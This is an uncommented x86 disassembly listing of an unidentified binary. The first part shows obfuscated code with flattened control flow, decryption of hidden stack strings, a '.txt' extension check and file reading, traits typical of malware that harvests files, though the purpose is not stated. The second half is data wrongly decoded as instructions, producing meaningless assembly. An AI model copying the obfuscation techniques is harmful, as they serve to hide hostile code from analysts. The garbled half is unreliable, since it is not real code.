cmp ecx, edx
jne 0x4230ef
mov edi, dword [ebp - 0x18]
jmp dword [0x4440b4]
xor eax, eax
cmp edi, ebx
sete al
jmp dword [eax*4 + 0x4440bc]
push dword [ebp - 0x10]
push 1
push ecx
push dword [0x44964c]
call fcn.00438a80
add esp, 0x10
mov edi, dword [ebp - 0x18]
jmp dword [0x4440b4]
mov esi, dword [ebp - 0x34]
mov eax, esi
and eax, 1
mov ecx, esi
xor ecx, 1
lea eax, [ecx + eax*2]
push eax
call fcn.004081b0
add esp, 4
push 0
push esi
push eax
push dword [ebp - 0xe8]
call fcn.0043ca00
add esp, 0x10
mov esi, dword [ebp - 0x34]
lea eax, [esi + 1]
push eax
call fcn.004081b0
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [ebp - 0xe8]
call fcn.0043ca00
add esp, 0x10
jmp dword [0x444050]
int3
jmp dword [0x44435c]
push esi
call fcn.004081c0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.004081c0
add esp, 4
jmp dword [0x444368]
jmp dword [0x444374]
push esi
call fcn.004081c0
add esp, 4
nop
nop
nop
nop
nop
push esi
call fcn.004081c0
add esp, 4
jmp dword [0x444380]
jmp dword [0x444384]
jmp dword [0x444390]
jmp dword [0x444390]
mov eax, ebx
add esp, 0xc8
pop esi
pop edi
pop ebx
pop ebp
ret
mov edx, esi
not edx
and edx, edi
mov ebp, edi
not ebp
and ebp, esi
mov ecx, ebp
sub ecx, edx
xor eax, eax
cmp ecx, 5
setb al
jmp dword [eax*4 + 0x4442e4]
xor eax, eax
cmp byte [esi - 1], 0x74
setne al
jmp dword [eax*4 + 0x4442ec]
xor eax, eax
cmp byte [esi - 2], 0x78
setne al
jmp dword [eax*4 + 0x4442f4]
xor eax, eax
cmp byte [esi - 3], 0x74
setne al
jmp dword [eax*4 + 0x4442fc]
xor eax, eax
cmp byte [esi - 4], 0x2e
setne al
jmp dword [eax*4 + 0x444304]
mov eax, ecx
and eax, 1
mov dword [esp + 0x68], ecx
xor ecx, 1
lea eax, [ecx + eax*2]
test eax, eax
mov dword [esp + 0x6c], edx
mov dword [esp + 8], eax
jns 0x424789
mov eax, 0xffffffff
jmp 0x42478b
add eax, eax
push eax
call fcn.004081b0
add esp, 4
mov ebx, eax
push esi
push edi
push dword [esp + 0x10]
push eax
call fcn.0040ae30
add esp, 0x10
lea eax, [esp + 0x74]
push 0x60
push 3
push 0x120089
push eax
mov dword [esp + 0x6c], ebx
push ebx
call fcn.0043c650
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44430c]
mov edi, esi
jmp dword [0x44434c]
push dword [esp + 0x5c]
call fcn.004081c0
add esp, 4
mov edi, esi
lea ebp, [esp + 0x18]
jmp dword [0x4442bc]
lea eax, [esp + 0x70]
push 0
push eax
push dword [esp + 0x7c]
call fcn.0043c950
add esp, 0xc
test eax, eax
setns al
mov ebx, dword [esp + 0x70]
cmp ebx, 0x100000
setb cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x444314]
push ebx
call fcn.004081b0
add esp, 4
push 0
push ebx
mov dword [esp + 0x6c], eax
push eax
push dword [esp + 0x80]
call fcn.0043ca00
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44431c]
xor edx, edx
mov ecx, dword [esp + 0x5c]
jmp 0x424868
add ecx, 2
test bx, bx
je 0x424879
mov eax, edx
movzx ebx, word [ecx]
mov edx, ecx
cmp bx, 0x5c
je 0x424860
mov edx, eax
jmp 0x424860
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x444324]
mov dword [esp + 0x60], 0
mov dword [esp], 0
jmp dword [0x44432c]
sub eax, dword [esp + 0x5c]
sar eax, 1
lea ecx, [eax + 1]
mov edx, ecx
mov dword [esp], ecx
mov edx, dword [esp + 0x68]
xor ecx, edx
mov ebx, SysReAllocString
sub ebx, eax
and ebx, edx
add ebx, ebx
sub ebx, ecx
mov dword [esp + 0x60], ebx
jmp dword [0x44432c]
mov eax, dword [esp + 0x60]
add eax, 0x1b
push eax
call fcn.004081b0
add esp, 4
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x68]
sub eax, dword [esp]
mov dword [esp + 0xc], eax
mov dword [esp + 0x18], 0x989a98eb
mov dword [esp + 0x1c], 0x9f899b9e
mov dword [esp + 0x20], 0x9ef8d398
mov dword [esp + 0x24], 0xc4839c9c
mov dword [esp + 0x28], 0x928e8ae6
mov dword [esp + 0x2c], 0xd09a9888
mov word [esp + 0x30], 0xf2d1
mov byte [esp + 0x32], 2
mov dword [esp + 0x33], 0
xor eax, eax
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x18]
mov edx, eax
and edx, 0x19
xor edx, 0x31de7bb9
mov ebx, eax
and ebx, 6
sub ebx, edx
lea edx, [ebx + ebx]
not edx
add edx, ebx
xor edx, ebx
and edx, ecx
xor edx, ebx
add dl, 0x9d
mov byte [esp + eax + 0x18], dl
inc eax
cmp eax, 0x1f
jne 0x424930
movzx eax, byte [esp + 0x18]
mov edx, dword [esp + 0x10]
test al, al
je 0x424981
lea ecx, [esp + 0x19]
mov edx, dword [esp + 0x10]
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x424976
mov byte [edx], 0
mov ebx, dword [esp + 0xc]
test ebx, ebx
je 0x4249bc
mov eax, dword [esp]
lea ecx, [edi + eax]
and ebx, 3
je 0x4249c0
xor eax, eax
mov dword [esp + 8], ebx
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [edx + eax], bl
mov ebx, dword [esp + 8]
inc eax
cmp ebx, eax
jne 0x42499d
add edx, eax
sub dword [esp + 0xc], eax
mov eax, edx
jmp 0x4249c0
mov eax, edx
jmp 0x424a08
mov ebx, dword [esp]
sub ebx, ebp
add ebx, dword [esp + 0x6c]
cmp ebx, 0xfffffffc
mov ebp, dword [esp + 0xc]
ja 0x424a08
movzx eax, byte [ecx]
cmp al, 1
sbb ecx, 0xffffffff
mov byte [edx], al
movzx eax, byte [ecx]
cmp al, 1
sbb ecx, 0xffffffff
mov byte [edx + 1], al
movzx eax, byte [ecx]
cmp al, 1
sbb ecx, 0xffffffff
mov byte [edx + 2], al
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea eax, [edx + 4]
mov byte [edx + 3], bl
mov edx, eax
add ebp, 0xfffffffc
jne 0x4249d2
mov byte [eax], 0
mov ecx, dword [esp + 0xdc]
push dword [esp + 0x70]
push dword [esp + 0x68]
push dword [esp + 0x18]
call fcn.004091c0
jmp case.0x422102.195
mov ecx, ebp
mov byte [ecx], 0
mov ecx, dword [esp + 0xdc]
push dword [esp + 0x70]
push dword [esp + 0x68]
mov ebx, dword [esp + 0x10]
push ebx
call fcn.004091c0
jmp dword [0x444338]
mov eax, dword [esp + 0x60]
add eax, 0x1b
push eax
call fcn.004081b0
add esp, 4
mov dword [esp + 8], eax
mov eax, dword [esp + 0x68]
mov edx, eax
not edx
mov ecx, dword [esp]
and edx, ecx
not ecx
and ecx, eax
mov dword [esp + 0x10], ecx
mov eax, ecx
mov dword [esp + 0x6c], edx
sub eax, edx
mov dword [esp + 0x18], 0x989a98eb
mov dword [esp + 0x1c], 0x9f899b9e
mov dword [esp + 0x20], 0x9ef8d398
mov dword [esp + 0x24], 0xc4839c9c
mov dword [esp + 0x28], 0x928e8ae6
mov dword [esp + 0x2c], 0xd09a9888
mov word [esp + 0x30], 0xf2d1
mov byte [esp + 0x32], 2
mov dword [esp + 0x33], 0
xor edx, edx
movzx ecx, byte [esp + edx + 0x18]
mov ebx, edx
and ebx, 0x19
xor ebx, 0x31de7bb9
mov ebp, edx
and ebp, 6
sub ebp, ebx
lea ebx, [ebp*2]
not ebx
add ebx, ebp
xor ebx, ebp
and ebx, ecx
xor ebx, ebp
add bl, 0x9d
mov byte [esp + edx + 0x18], bl
inc edx
cmp edx, 0x1f
jne 0x424ac0
movzx ecx, byte [esp + 0x18]
mov ebx, dword [esp + 8]
mov ebp, ebx
test cl, cl
je 0x424b1c
lea edx, [esp + 0x19]
mov ebp, ebx
nop
nop
nop
nop
nop
nop
mov byte [ebp], cl
inc ebp
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x424b10
mov byte [ebp], 0
test eax, eax
je 0x424a25
mov ecx, dword [esp]
lea edx, [edi + ecx]
mov ebx, eax
and ebx, 3
je 0x424b62
mov dword [esp + 0xc], eax
xor ecx, ecx
nop
nop
nop
nop
nop
mov eax, ebx
movzx ebx, byte [edx]
cmp bl, 1
sbb edx, 0xffffffff
mov byte [ebp + ecx], bl
mov ebx, eax
inc ecx
cmp eax, ecx
jne 0x424b40
add ebp, ecx
mov eax, dword [esp + 0xc]
sub eax, ecx
mov ecx, ebp
jmp 0x424b62
mov ebx, dword [esp + 0x6c]
sub ebx, dword [esp + 0x10]
cmp ebx, 0xfffffffc
ja 0x424a27
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [edx]
cmp cl, 1
sbb edx, 0xffffffff
mov byte [ebp], cl
movzx ecx, byte [edx]
cmp cl, 1
sbb edx, 0xffffffff
mov byte [ebp + 1], cl
movzx ecx, byte [edx]
cmp cl, 1
sbb edx, 0xffffffff
mov byte [ebp + 2], cl
movzx ebx, byte [edx]
cmp bl, 1
sbb edx, 0xffffffff
lea ecx, [ebp + 4]
mov byte [ebp + 3], bl
mov ebp, ecx
add eax, 0xfffffffc
jne 0x424b80
jmp 0x424a27
mov ecx, dword [esp + 4]
and cl, 1
or cl, al
mov dword [esp + 4], ecx
jmp dword [0x44433c]
push ebx
call fcn.004081c0
add esp, 4
jmp dword [0x444344]
jmp dword [0x444344]
push dword [esp + 0x64]
call fcn.004081c0
add esp, 4
mov eax, dword [esp + 0x74]
mov dword [esp + 0x18], 0xb8bbba85
mov dword [esp + 0x1c], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
movzx edi, byte [esp + edx + 0x18]
mov ebx, edx
xor ebx, 0x437cad8e
mov ebp, ecx
and ebp, 2
sub ebp, ebx
add ebp, 0xca0f841f
mov ebx, ebp
and ebx, 0x210848e
xor ebp, 0x437cad8e
lea ebx, [ebx*2]
add ebx, ebp
mov ebp, ebx
and ebp, edi
add ebp, ebp
sub ebx, ebp
add ebx, edi
mov edi, ebx
not edi
and edi, 0x9c
and ebx, 0x63
sub ebx, edi
inc bl
mov byte [esp + edx + 0x18], bl
inc edx
add ecx, 2
cmp edx, 8
jne 0x424c10
mov ecx, dword [0x449644]
test ecx, ecx
je 0x424c98
mov edx, dword [esp + 0x18]
xor edi, edi
mov ebx, dword [0x449648]
nop
cmp dword [ebx + edi*8], 0xb62b8d10
je 0x424c90
inc edi
cmp ecx, edi
jne 0x424c80
jmp 0x424c98
mov ecx, dword [ebx + edi*8 + 4]
cmp ecx, edx
jne 0x424caa
mov edi, esi
jmp dword [0x44434c]
lea ebp, [esp + 0x18]
jmp dword [0x4442bc]
push eax
push 1
push ecx
push dword [0x44964c]
call fcn.00438a80
add esp, 0x10
mov edi, esi
jmp dword [0x44434c]
and dword [edx], eax
das
and dword [edx], eax
sub al, 0x22
inc edx
add byte [ebp + 0x22], al
inc edx
add ah, ch
and al, byte [edx]
push ebp
and al, byte [edx]
adc dword [ebx], esp
and eax, dword [edx]
inc ecx
and eax, dword [edx]
sbb byte [eax], dh
inc edx
add byte [ebp + 0x23], ah
inc edx
add byte [edi], dh
and eax, dword [edx]
inc ecx
and eax, dword [edx]
sbb byte [eax], dh
inc edx
add byte [ebp + 0x23], ah
inc edx
add byte [edi], dh
xor dword [edx], eax
or al, 0x31
inc edx
add byte [ecx + esi], cl
inc edx
add byte [eax + 0x2a], al
inc edx
add dl, dl
sub al, byte [edx]
push eax
sub al, byte [edx]
movsb byte es:[edi], byte [esi]
sub al, byte [edx]
daa
inc edx
add byte [edx + ebp + 0x27c60042], ah
inc edx
add byte [eax], dl
sub byte [edx], al
adc byte [eax], ch
inc edx
add byte [edx], dl
sub byte [edx], al
adc byte [eax], ch
inc edx
add byte [edx + ebp + 0x28200042], ah
inc edx
add byte [edx - 0x42ffbdd6], ch
sub al, byte [edx]
shr byte [edx], 1
inc edx
add al, dl
sub al, byte [edx]
shr byte [edx], cl
inc edx
add al, dl
sub al, byte [edx]
fsubr dword [edx]
inc edx
add byte [eax], bl
xor byte [edx], al
or dword [eax], esi
inc edx
add byte [eax], al
xor byte [edx], al
add byte [eax], dh
inc edx
add byte [eax], bl
xor byte [edx], al
sbb esp, dword [ebx]
inc edx
add cl, ah
xor byte [edx], al
movsb byte es:[edi], byte [esi]
sub eax, dword [edx]
xor al, 0x23
inc edx
add byte [eax], bl
sub eax, 0x2d290042
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax + 0x31], ah
inc edx
add byte [ecx], al
add byte [eax], al
add bl, ah
inc edx
add byte [ebx + 0x2d], dl
inc edx
add dh, al
inc edx
add byte [ebx - 0x60ffbdd3], cl
inc edx
add cl, ch
sub eax, 0x2e9f0042
inc edx
add al, ch
das
inc edx
add byte [eax], ah
daa
inc edx
add byte [edi + 0x20004223], bh
daa
inc edx
add byte [eax], ah
daa
inc edx
add byte [edi + 0x2000422e], bl
daa
inc edx
add dl, dl
and eax, dword [edx]
shl byte [ebx], cl
inc edx
add al, ah
and eax, dword [edx]
shl byte [ebx], cl
inc edx
add byte [ebx + 0x23f80042], ch
inc edx
add byte [edx + 0x24], al
inc edx
add byte [esi - 0x46ffbddc], al
and al, 0x42
add al, dl
and al, 0x42
add byte [ebp + 0x42], cl
add byte [eax], ah
and eax, 0x25400042
inc edx
add byte [eax], al
and eax, 0x254c0042
inc edx
add byte [esi], cl
and eax, 0x255d0042
inc edx
add byte [ebp + 0x42], ch
add dl, bh
and eax, 0x26090042
inc edx
add al, bh
inc edx
add byte [ebx + 0x2ea70042], ch
inc edx
add al, al
inc edx
add al, al
inc edx
add al, al
inc edx
add al, al
inc edx
add dh, al
inc edx
add al, dl
inc edx
add al, dl
inc edx
add dl, dl
inc edx
add al, dl
inc edx
add al, bl
inc edx
add bl, ah
inc edx
add dh, bl
sub al, byte [edx]
mov bh, 0x2f
inc edx
add byte [ebx + ebp + 0x2b050042], bl
inc edx
add byte [ebx + 0x2b], bh
inc edx
add byte [esi + 0x100422b], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add dl, dl
inc edx
inc edx
add byte [ecx], al
add byte [eax], al
add byte [esi], bl
xor al, 0x42
add byte [edx + 0x34], ah
inc edx
add byte [esp + esi], ah
inc edx
add byte [eax], dh
xor al, 0x42
add byte [esi + 0x41], ah
inc edx
add byte [eax], dl
inc eax
inc edx
add byte [eax + 0x66004234], dl
inc ecx
inc edx
add byte [eax - 0x4fffbdcc], ah
xor al, 0x42
add byte [eax + 0x35], dh
inc edx
add ah, bl
xor al, 0x42
add byte [edi], dh
xor eax, 0x350f0042
inc edx
add byte [edi], dh
xor eax, 0x353d0042
inc edx
add al, ah
cmp al, byte [edx]
xchg edi, eax
cmp al, 66
add byte [ecx - 0x68ffbdc4], cl
cmp al, 0x42
add byte [ecx - 0x4affbdc7], ch
cmp dword [edx], eax
mov dh, 0x3a
inc edx
add cl, al
cmp al, byte [edx]
inc edi
xor eax, 894632002
inc edx
add byte [eax + 0x34], ch
inc edx
add byte [eax + 0x35], dh
inc edx
add byte [eax + 0x6e004234], al
xor al, 0x42
add byte [eax + 0x35], dh
inc edx
add byte [eax + 0x2e004234], al
inc edx
add byte [eax + 0x36], al
inc edx
add byte [eax + 0x36], al
inc edx
add byte [eax + 0x36], al
inc edx
add byte [esi + 0x36], al
inc edx
add byte [eax + 0x36], al
inc edx
add byte [eax + 0x34], dl
inc edx
add byte [eax + 0x36], dl
inc edx
add byte [eax - 0x7fffbdca], al
inc edx
add byte [ebx - 0x7fffbdca], cl
inc edx
add byte [esi], bh
cmp dword [edx], eax
pop edi
cmp dword [edx], eax
push eax
cmp dword [edx], eax
inc esp
cmp dword [edx], eax
push eax
cmp dword [edx], eax
pop edi
cmp dword [edx], eax
imul edi, dword [ecx], 0x34500042
inc edx
add byte [edx + 0x44], al
inc edx
add byte [edx + 0x44], cl
inc edx
add byte [edi + 0x78004244], ch
inc esp
inc edx
add byte [edi + 0x4d], ch
inc edx
add byte [edi + 0x6f00424d], cl
dec ebp
inc edx
add byte [edi + 0x4d], dl
inc edx
add byte [esi + 0x44], bh
inc edx
add ah, al
dec esp
inc edx
add dh, ah
inc ebp
inc edx
add dh, bl
dec esp
inc edx
add dh, ah
inc ebp
inc edx
add byte [eax - 0x29ffbdba], bh
inc esi
inc edx
add byte [esi + 0x44], bh
inc edx
add dh, dl
inc esi
inc edx
add dh, dl
inc esi
inc edx
add dh, dl
inc esi
inc edx
add byte [eax], cl
inc edi
inc edx
add byte [edi], ah
inc edi
inc edx
add byte [eax + 0x3700424c], ah
inc edi
inc edx
add byte [eax + 0x4700424c], ah
inc edi
inc edx
add byte [eax + 0x5700424c], ah
inc edi
inc edx
add byte [eax + 0x6700424c], ah
inc edi
inc edx
add byte [eax - 0x33ffbdb4], ah
inc edi
inc edx
add ah, ch
inc edi
inc edx
add bl, dh
dec ebx
inc edx
add byte [0xe1004248], bl
dec ebx
inc edx
add byte [ecx + 0x48], cl
inc edx
add byte [edi - 0x63ffbdb8], al
dec eax
inc edx
add byte [ecx + 0x4a], cl
inc edx
add bh, al
dec eax
inc edx
add byte [ecx + 0x4a], cl
inc edx
add byte [edi - 0x2dffbdb5], bh
dec ebx
inc edx
add cl, ah
dec ebx
inc edx
add bh, ah
dec ebx
inc edx
add bl, dh
dec ebx
inc edx
add ah, dl
inc edi
inc edx
add byte [eax - 0x77ffbdb4], ah
inc esp
inc edx
add byte [edi - 0x5fffbdbc], ch
inc esp
inc edx
add byte [esi - 0x5fffbdbc], cl
inc esp
inc edx
add byte [edi + 0x6c004244], ch
inc ebp
inc edx
add byte [edi - 0x7fffbdbb], cl
inc ebp
inc edx
add byte [edx + 0x45], dh
inc edx
add byte [eax - 0x70ffbdbb], al
inc ebp
inc edx
add byte [ebp - 0x5fffbdbb], dl
inc ebp
inc edx
add byte [eax - 0x59ffbdbb], ah
inc ebp
inc edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edi - 0x7dffbc80], al
add byte [ebx], 0xdc
add byte [ebx], 0x86
test byte [ebx], al
adc eax, dword [ebp - 0x7b42ffbd]
inc ebx
add byte [edx - 0x7effbc7b], dl
test byte [ebx], al
inc edx
xchg dword [ebx], eax
inc eax
xchg dword [ebx], eax
xlatb
add byte [ebx], 0xe8
mov byte [ebx], al
scasb al, byte es:[edi]
mov dword [0x8c750043], eax
inc ebx
add byte [edi - 0x78], bl
inc ebx
add byte [ebp - 0x74], dh
inc ebx
add ah, bl
mov es, word [ebx]
dec eax
xchg ecx, eax
inc ebx
add byte [edi - 0x6f], ah
inc ebx
add byte [edx - 0x6f], ah
inc ebx
add byte [ecx + ecx*4], ch
inc ebx
add byte [ecx + ecx*4], ch
inc ebx
add byte [ebp - 0x77], bh
inc ebx
add byte [edx + ecx*4], bh
inc ebx
add byte [esi - 0x65ffbc77], ch
mov al, byte [ebx]
int 0x89
inc ebx
add ch, dl
mov al, byte [ebx]
or al, 0x89
inc ebx
add byte [ebx + ecx*4], ch
inc ebx
add byte [ebx + ecx*4], ch
inc ebx
add byte [ecx - 0x75], al
inc ebx
add byte [esi - 0x75], ah
inc ebx
add byte [esi], bh
movsb byte es:[edi], byte [esi]
inc ebx
add byte [ebx], dh
cwde
inc ebx
add byte [edx + 0x3e0043a8], cl
movsb byte es:[edi], byte [esi]
inc ebx
add byte [esi], bh
movsb byte es:[edi], byte [esi]
inc ebx
add byte [edi], ch
test eax, 0xa12c0043
inc ebx
add byte [ebx - 0x5f], cl
inc ebx
add byte [ebx - 0x5f], cl
inc ebx
add byte [ecx + 0x43], bh
add byte [ecx + 0x43], bh
add byte [edi + 0x660043a1], ah
mov word [ebx], es
dec eax
cwde
inc ebx
add byte [ebx - 0x17ffbc68], cl
cwde
inc ebx
add byte [ecx + 0x2400438b], al
cdq
inc ebx
add byte [eax], al
mov word [ebx], es
imul ebx, dword [ecx - 0x66b3ffbd], 0x43
add byte [ecx + ebx*4 + 0x43], cl
add byte [ecx - 0x67], ah
inc ebx
add byte [ebx - 0x67], ch
inc ebx
add byte [ebp + 0x6b00438b], dh
cdq
inc ebx
add byte [ecx + ebx*4 - 0x6671ffbd], cl
inc ebx
add cl, al
cwde
inc ebx
add al, cl
cwde
inc ebx
add byte [esi - 0x71ffbc67], cl
cdq
inc ebx
add byte [ebx*4 - 0x62e3ffbd], ah
inc ebx
add dl, bl
mov al, byte [0xa0fc0043]
inc ebx
add byte [edx], bl
mov eax, dword [0xa11a0043]
inc ebx
add byte [ecx - 0x5d], al
inc ebx
add byte [ebx + 0x2c00438c], dl
mov eax, dword [ebx]
cmc
cmpsd dword [esi], dword es:[edi]
inc ebx
add byte [ecx + ebx*4 + 0x43], cl
add byte [ecx + ebx*4 - 0x5f10ffbd], cl
inc ebx
add byte [edx - 8], ch
inc ebx
add byte [eax + 0x390043ef], dl
cmove eax, dword [eax]
test ch, dh
inc ebx
add byte [0xe70043ea], ch
add byte [eax + eax - 0x7e], al
or byte [eax + eax + 0x47], al
add byte [eax + eax - 0x1d], al
inc dword [ebx]
push ebp
cmc
inc ebx
add byte [ebx], ah
int1
inc ebx
add byte [esp + ebp*8 + 0x7da0043], cl
inc esp
add byte [eax], al
add al, byte [eax + eax - 0x1b]
cli
inc ebx
add byte [esi + 0x7d0043ea], dh
add byte [eax + eax - 2], al
test byte [ebx], 0xb
add byte [eax + eax - 0x11], al
or al, byte [eax + eax + 8]
out dx, eax
inc ebx
add byte [ecx + 0x75004401], cl
adc al, byte [eax + eax - 0x43]
or dword [eax + eax + 0xb], eax
cmove eax, dword [eax]
pop edx
add dword [eax + eax - 0x68], eax
inc ebx
add byte [ebx], dl
sti
inc ebx
add al, bl
or byte [eax + eax + 0x50], al
adc al, byte [eax + eax + 0x23]
adc dword [eax + eax + 0x6d], eax
pop es
inc esp
add byte [eax + 0x10], bl
inc esp
add byte [ecx - 0xd], ch
inc ebx
add ah, cl
add dword [eax + eax + 0x5b], eax
int1
inc ebx
add byte [ebx + edi*8 + 0x43], al
add byte [edx + 0x1c0043ef], bh
or al, byte [eax + eax + 0x1e]
or dword [eax + eax - 0x55], eax
cmc
inc ebx
add byte [ebx + 3], bh
inc esp
add byte [esi + 0x62004400], ch
out dx, eax
inc ebx
add byte [ebx], ch
test byte [ebx], 0xeb
or dword [eax + eax - 0x51], eax
test byte [ebx], 0xe1
cmc
inc ebx
add byte [eax + 8], dl
inc esp
add byte [edi + 0x6004408], ah
test byte [ebx], 0x89
ljmp 0x43